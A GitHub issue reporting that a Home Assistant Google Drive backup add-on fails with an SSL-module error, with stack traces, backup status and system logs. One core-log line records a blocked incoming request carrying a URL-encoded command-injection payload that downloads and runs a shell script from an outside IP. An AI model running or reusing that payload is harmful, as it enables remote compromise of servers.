search

sabeechen / hassio-google-drive-backup

Automatically create and sync Home Assistant backups into Google Drive
MIT License
2.97k stars 181 forks source link

Error while backing up #1028

Open rudma opened 2 months ago

rudma commented 2 months ago
Description:
If you have anything else that could help explain what happened, click "Markdown" above and write it here.

Addon version: 0.112.1 Home Assistant Version: 2024.4.3 Supervisor Version: 2024.04.0 Supervisor Channel: stable Hassos Version: 12.2 Docker Version: 25.0.5 Architecture: aarch64 Machine: raspberrypi4-64 Date: 2024-04-22T06:53:26.083039+00:00 Timezone: Europe/Amsterdam Failure Time: 2024-04-22T06:53:04.362584+00:00 Last Good Sync: 2024-04-22T06:53:04.148687+00:00 Next Sync: 2024-04-22T08:53:04.362584+00:00 Next Backup: 2024-04-25T06:47:53.221506+00:00 Next Cache Warm: 2260-11-10T20:09:39.908945+00:00 Time Offset: 0.0

Exception:

  addon/backup/model/coordinator.py:198 (_sync)
  addon/backup/model/model.py:203 (sync)
  addon/backup/model/model.py:316 (_syncBackups)
  addon/backup/drive/drivesource.py:121 (get)
  addon/backup/drive/drivesource.py:285 (getFolderId)
  addon/backup/drive/folderfinder.py:63 (get)
  addon/backup/drive/folderfinder.py:113 (_readFolderId)
  addon/backup/drive/folderfinder.py:154 (_verify)
  addon/backup/drive/driverequests.py:165 (get)
  addon/backup/drive/driverequests.py:376 (retryRequest)
  addon/backup/drive/driverequests.py:96 (_getHeaders)
  addon/backup/drive/driverequests.py:154 (getToken)
  addon/backup/creds/exchanger.py:81 (refresh)
  addon/backup/creds/exchanger.py:114 (_refresh_default)
  /site-packages/aiohttp/client.py:1187 (__aenter__)
  addon/backup/tracing_session.py:39 (_request)
  /site-packages/aiohttp/client.py:574 (_request)
  [7 hidden frames]
  /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

Backups:

 {
    "HomeAssistant": {
        "backups": 5,
        "retained": 0,
        "deletable": 5,
        "name": "HomeAssistant",
        "title": "Home Assistant",
        "latest": "2024-04-22T06:47:53Z",
        "max": 4,
        "enabled": true,
        "icon": "home-assistant",
        "ignored": 12,
        "detail": "",
        "size": "734.2 MB",
        "ignored_size": "915.9 MB"
    },
    "GoogleDrive": {
        "backups": 0,
        "retained": 0,
        "deletable": 0,
        "name": "GoogleDrive",
        "title": "Google Drive",
        "latest": null,
        "max": 4,
        "enabled": true,
        "icon": "google-drive",
        "ignored": 0,
        "detail": "",
        "size": "0.0 B",
        "ignored_size": "0.0 B"
    }
}
Config:
 {}
Addon Logs:
 04-22 04:59:15 DEBUG [backup.model.syncer] Sync requested by Coordinator
04-22 04:59:15 INFO [backup.model.coordinator] Syncing Backups
04-22 04:59:15 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 04:59:15 ERROR [backup.model.coordinator] 
  addon/backup/model/coordinator.py:198 (_sync)
  addon/backup/model/model.py:203 (sync)
  addon/backup/model/model.py:316 (_syncBackups)
  addon/backup/drive/drivesource.py:121 (get)
  addon/backup/drive/drivesource.py:285 (getFolderId)
  addon/backup/drive/folderfinder.py:63 (get)
  addon/backup/drive/folderfinder.py:113 (_readFolderId)
  addon/backup/drive/folderfinder.py:154 (_verify)
  addon/backup/drive/driverequests.py:165 (get)
  addon/backup/drive/driverequests.py:376 (retryRequest)
  addon/backup/drive/driverequests.py:96 (_getHeaders)
  addon/backup/drive/driverequests.py:154 (getToken)
  addon/backup/creds/exchanger.py:81 (refresh)
  addon/backup/creds/exchanger.py:114 (_refresh_default)
  /site-packages/aiohttp/client.py:1187 (__aenter__)
  addon/backup/tracing_session.py:39 (_request)
  /site-packages/aiohttp/client.py:574 (_request)
  [7 hidden frames]
  /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 04:59:15 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 06:59:16 DEBUG [backup.model.syncer] Sync requested by Coordinator
04-22 06:59:16 INFO [backup.model.coordinator] Syncing Backups
04-22 06:59:16 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 06:59:16 ERROR [backup.model.coordinator] 
  addon/backup/model/coordinator.py:198 (_sync)
  addon/backup/model/model.py:203 (sync)
  addon/backup/model/model.py:316 (_syncBackups)
  addon/backup/drive/drivesource.py:121 (get)
  addon/backup/drive/drivesource.py:285 (getFolderId)
  addon/backup/drive/folderfinder.py:63 (get)
  addon/backup/drive/folderfinder.py:113 (_readFolderId)
  addon/backup/drive/folderfinder.py:154 (_verify)
  addon/backup/drive/driverequests.py:165 (get)
  addon/backup/drive/driverequests.py:376 (retryRequest)
  addon/backup/drive/driverequests.py:96 (_getHeaders)
  addon/backup/drive/driverequests.py:154 (getToken)
  addon/backup/creds/exchanger.py:81 (refresh)
  addon/backup/creds/exchanger.py:114 (_refresh_default)
  /site-packages/aiohttp/client.py:1187 (__aenter__)
  addon/backup/tracing_session.py:39 (_request)
  /site-packages/aiohttp/client.py:574 (_request)
  [7 hidden frames]
  /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 06:59:16 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 08:47:53 INFO [backup.ha.hasource] Requesting a new backup
04-22 08:48:30 INFO [backup.ha.hasource] Backup finished
04-22 08:48:30 DEBUG [backup.model.syncer] Sync requested by HomeAssistant
04-22 08:48:30 INFO [backup.model.coordinator] Syncing Backups
04-22 08:48:30 DEBUG [backup.ha.hasource] Adding a note to ha backup 'test 22-04-2024'
04-22 08:48:30 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 08:48:30 ERROR [backup.model.coordinator] 
  addon/backup/model/coordinator.py:198 (_sync)
  addon/backup/model/model.py:203 (sync)
  addon/backup/model/model.py:316 (_syncBackups)
  addon/backup/drive/drivesource.py:121 (get)
  addon/backup/drive/drivesource.py:285 (getFolderId)
  addon/backup/drive/folderfinder.py:63 (get)
  addon/backup/drive/folderfinder.py:113 (_readFolderId)
  addon/backup/drive/folderfinder.py:154 (_verify)
  addon/backup/drive/driverequests.py:165 (get)
  addon/backup/drive/driverequests.py:376 (retryRequest)
  addon/backup/drive/driverequests.py:96 (_getHeaders)
  addon/backup/drive/driverequests.py:154 (getToken)
  addon/backup/creds/exchanger.py:81 (refresh)
  addon/backup/creds/exchanger.py:114 (_refresh_default)
  /site-packages/aiohttp/client.py:1187 (__aenter__)
  addon/backup/tracing_session.py:39 (_request)
  /site-packages/aiohttp/client.py:574 (_request)
  [7 hidden frames]
  /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 08:48:30 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 08:52:53 INFO [backup.model.coordinator] Syncing Backups
04-22 08:52:53 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 08:52:53 ERROR [backup.model.coordinator] 
  addon/backup/model/coordinator.py:198 (_sync)
  addon/backup/model/model.py:203 (sync)
  addon/backup/model/model.py:316 (_syncBackups)
  addon/backup/drive/drivesource.py:121 (get)
  addon/backup/drive/drivesource.py:285 (getFolderId)
  addon/backup/drive/folderfinder.py:63 (get)
  addon/backup/drive/folderfinder.py:113 (_readFolderId)
  addon/backup/drive/folderfinder.py:154 (_verify)
  addon/backup/drive/driverequests.py:165 (get)
  addon/backup/drive/driverequests.py:376 (retryRequest)
  addon/backup/drive/driverequests.py:96 (_getHeaders)
  addon/backup/drive/driverequests.py:154 (getToken)
  addon/backup/creds/exchanger.py:81 (refresh)
  addon/backup/creds/exchanger.py:114 (_refresh_default)
  /site-packages/aiohttp/client.py:1187 (__aenter__)
  addon/backup/tracing_session.py:39 (_request)
  /site-packages/aiohttp/client.py:574 (_request)
  [7 hidden frames]
  /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 08:52:53 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 08:52:57 INFO [backup.model.coordinator] Syncing Backups
04-22 08:52:57 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 08:52:57 ERROR [backup.model.coordinator] 
  addon/backup/model/coordinator.py:198 (_sync)
  addon/backup/model/model.py:203 (sync)
  addon/backup/model/model.py:316 (_syncBackups)
  addon/backup/drive/drivesource.py:121 (get)
  addon/backup/drive/drivesource.py:285 (getFolderId)
  addon/backup/drive/folderfinder.py:63 (get)
  addon/backup/drive/folderfinder.py:113 (_readFolderId)
  addon/backup/drive/folderfinder.py:154 (_verify)
  addon/backup/drive/driverequests.py:165 (get)
  addon/backup/drive/driverequests.py:376 (retryRequest)
  addon/backup/drive/driverequests.py:96 (_getHeaders)
  addon/backup/drive/driverequests.py:154 (getToken)
  addon/backup/creds/exchanger.py:81 (refresh)
  addon/backup/creds/exchanger.py:114 (_refresh_default)
  /site-packages/aiohttp/client.py:1187 (__aenter__)
  addon/backup/tracing_session.py:39 (_request)
  /site-packages/aiohttp/client.py:574 (_request)
  [7 hidden frames]
  /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 08:52:57 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 08:53:04 INFO [backup.model.coordinator] Syncing Backups
04-22 08:53:04 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 08:53:04 ERROR [backup.model.coordinator] 
  addon/backup/model/coordinator.py:198 (_sync)
  addon/backup/model/model.py:203 (sync)
  addon/backup/model/model.py:316 (_syncBackups)
  addon/backup/drive/drivesource.py:121 (get)
  addon/backup/drive/drivesource.py:285 (getFolderId)
  addon/backup/drive/folderfinder.py:63 (get)
  addon/backup/drive/folderfinder.py:113 (_readFolderId)
  addon/backup/drive/folderfinder.py:154 (_verify)
  addon/backup/drive/driverequests.py:165 (get)
  addon/backup/drive/driverequests.py:376 (retryRequest)
  addon/backup/drive/driverequests.py:96 (_getHeaders)
  addon/backup/drive/driverequests.py:154 (getToken)
  addon/backup/creds/exchanger.py:81 (refresh)
  addon/backup/creds/exchanger.py:114 (_refresh_default)
  /site-packages/aiohttp/client.py:1187 (__aenter__)
  addon/backup/tracing_session.py:39 (_request)
  /site-packages/aiohttp/client.py:574 (_request)
  [7 hidden frames]
  /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 08:53:04 INFO [backup.model.coordinator] I'll try again in 2 hours
Supervisor Logs:
 2024-04-22 08:47:56.103 INFO (MainThread) [supervisor.addons.addon] Finish backup for addon core_duckdns
2024-04-22 08:47:56.104 INFO (MainThread) [supervisor.backups.manager] Backup dcdc12b5 starting stage home_assistant
2024-04-22 08:47:56.406 INFO (MainThread) [supervisor.homeassistant.module] Backing up Home Assistant Core config folder
2024-04-22 08:48:27.622 INFO (MainThread) [supervisor.homeassistant.module] Backup Home Assistant Core config folder done
2024-04-22 08:48:27.642 INFO (MainThread) [supervisor.backups.manager] Backup dcdc12b5 starting stage folders
2024-04-22 08:48:27.646 INFO (SyncWorker_0) [supervisor.backups.backup] Backing up folder share
2024-04-22 08:48:27.668 INFO (SyncWorker_0) [supervisor.backups.backup] Backup folder share done
2024-04-22 08:48:27.671 INFO (SyncWorker_2) [supervisor.backups.backup] Backing up folder addons/local
2024-04-22 08:48:27.679 INFO (SyncWorker_2) [supervisor.backups.backup] Backup folder addons/local done
2024-04-22 08:48:27.682 INFO (SyncWorker_6) [supervisor.backups.backup] Backing up folder ssl
2024-04-22 08:48:27.693 INFO (SyncWorker_6) [supervisor.backups.backup] Backup folder ssl done
2024-04-22 08:48:27.697 INFO (SyncWorker_5) [supervisor.backups.backup] Backing up folder media
2024-04-22 08:48:27.708 INFO (SyncWorker_5) [supervisor.backups.backup] Backup folder media done
2024-04-22 08:48:27.710 INFO (MainThread) [supervisor.backups.manager] Backup dcdc12b5 starting stage finishing_file
2024-04-22 08:48:30.464 INFO (MainThread) [supervisor.backups.manager] Creating full backup with slug dcdc12b5 completed
2024-04-22 08:48:30.773 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:48:30.781 INFO (MainThread) [supervisor.api.middleware.security] /backups access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:48:30.832 INFO (MainThread) [supervisor.api.middleware.security] /backups/dcdc12b5/info access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:52:44.094 INFO (MainThread) [supervisor.api.middleware.security] /core/info access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:52:44.101 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:52:44.109 INFO (MainThread) [supervisor.api.middleware.security] /mounts access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:52:44.116 INFO (MainThread) [supervisor.api.middleware.security] /addons access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:52:53.105 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:52:53.112 INFO (MainThread) [supervisor.api.middleware.security] /backups access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:52:57.645 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:52:57.652 INFO (MainThread) [supervisor.api.middleware.security] /backups access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:53:04.152 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:53:04.159 INFO (MainThread) [supervisor.api.middleware.security] /backups access from cebe7a76_hassio_google_drive_backup
2024-04-22 08:53:26.090 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/logs access from cebe7a76_hassio_google_drive_backup
Home Assistant Core Logs:
 TypeError: Cannot read properties of null (reading 'removeEventListener')
renderHeading (src/components/ha-dialog.ts:53:24)
apply (src/scoped-custom-element-registry.js:262:44)
mainWindow.history.pushState (src/dialogs/make-dialog-manager.ts:129:7)
2024-04-21 22:23:39.726 WARNING (MainThread) [homeassistant.components.automation.side_garden_person_detected_dim_lights] Side garden Person detected dim lights: Already running
2024-04-21 22:31:50.326 ERROR (MainThread) [homeassistant.components.websocket_api.http.connection] [546639663296] Error handling message: Integration '' not found (home_assistant_error) Rudi Maassen from 192.168.1.116 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)
2024-04-21 22:34:07.042 ERROR (MainThread) [homeassistant.components.websocket_api.http.connection] [546639663296] Error handling message: Integration '' not found (home_assistant_error) Rudi Maassen from 192.168.1.116 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)
2024-04-21 22:35:03.662 WARNING (MainThread) [homeassistant.components.http.security_filter] Filtered a potential harmful request to: /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20http%3a%2f%2f193.222.96.163%2fiv.sh%20%7c%20sh%20%7c%7c%20wget%20-O-%20http%3a%2f%2f193.222.96.163%2fiv.sh%20%7c%20sh%3b
2024-04-21 22:40:15.674 ERROR (MainThread) [homeassistant.components.websocket_api.http.connection] [546639663296] Error handling message: Integration '' not found (home_assistant_error) Rudi Maassen from 192.168.1.116 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)
2024-04-21 22:46:55.247 ERROR (MainThread) [homeassistant.components.websocket_api.http.connection] [546639663296] Error handling message: Integration '' not found (home_assistant_error) Rudi Maassen from 192.168.1.116 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)
2024-04-22 00:23:39.575 WARNING (Thread-5) [pychromecast.socket_client] [Slaapkamer(192.168.1.115):8009] Heartbeat timeout, resetting connection
2024-04-22 00:23:42.629 ERROR (Thread-5) [pychromecast.socket_client] [Slaapkamer(192.168.1.130):8009] Failed to connect to service HostServiceInfo(host='192.168.1.130', port=8009), retrying in 5.0s
2024-04-22 02:55:16.869 ERROR (MainThread) [aiohttp.server] Error handling request
Traceback (most recent call last):
  File "/usr/local/lib/python3.12/site-packages/aiohttp/web_protocol.py", line 350, in data_received
    messages, upgraded, tail = self._request_parser.feed_data(data)
                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "aiohttp/_http_parser.pyx", line 557, in aiohttp._http_parser.HttpParser.feed_data
aiohttp.http_exceptions.BadStatusLine: 400, message:
  Invalid method encountered:

    b'SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1'
       ^
2024-04-22 04:36:17.720 ERROR (MainThread) [homeassistant.components.glances.coordinator] Error fetching glances - 192.168.1.145 data: 
2024-04-22 04:39:22.729 ERROR (MainThread) [homeassistant.components.glances.coordinator] Error fetching glances - 192.168.1.145 data: 
2024-04-22 06:32:49.241 WARNING (Thread-6) [pychromecast.socket_client] [Chromecast TV(192.168.1.120):8009] Heartbeat timeout, resetting connection
2024-04-22 06:32:50.235 WARNING (MainThread) [homeassistant.components.androidtv_remote] Disconnected from Chromecast TV at 192.168.1.120
2024-04-22 06:33:17.749 ERROR (MainThread) [custom_components.zonneplan_one.coordinator] Error requesting zonneplan_one data: Cannot connect to host app-api.zonneplan.nl:443 ssl:default [Try again]
2024-04-22 06:33:19.257 ERROR (Thread-6) [pychromecast.socket_client] [Chromecast TV(192.168.1.120):8009] Failed to connect to service MDNSServiceInfo(name='Chromecast-ddcb4040fd3c02e80767e789ead8e094._googlecast._tcp.local.'), retrying in 5.0s